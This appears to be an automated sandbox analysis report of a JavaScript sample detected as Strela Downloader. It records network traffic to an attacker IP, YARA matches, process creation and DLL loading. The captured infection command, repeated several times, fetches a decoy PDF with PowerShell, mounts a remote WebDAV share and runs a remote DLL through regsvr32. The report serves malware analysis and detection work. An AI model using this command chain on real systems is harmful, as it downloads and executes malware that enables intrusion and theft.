TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1410399867.00000244F05CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1468796555.000001135315F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1468886117.0000011353144000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470440965.0000011353161000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470246799.0000011353108000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470440965.0000011353144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1470246799.0000011353108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/g_
Source: net.exe, 00000007.00000002.1470246799.0000011353108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spaceRQ
Source: svchost.exe, 00000009.00000002.2700267277.0000018809200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1469795367.0000018808FC0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5964, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 4947276292772611217.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/54@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5360:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cypnsi2y.abg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4947276292772611217.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1660,i,5116805766020969271,6008522173512827822,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1660,i,5116805766020969271,6008522173512827822,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
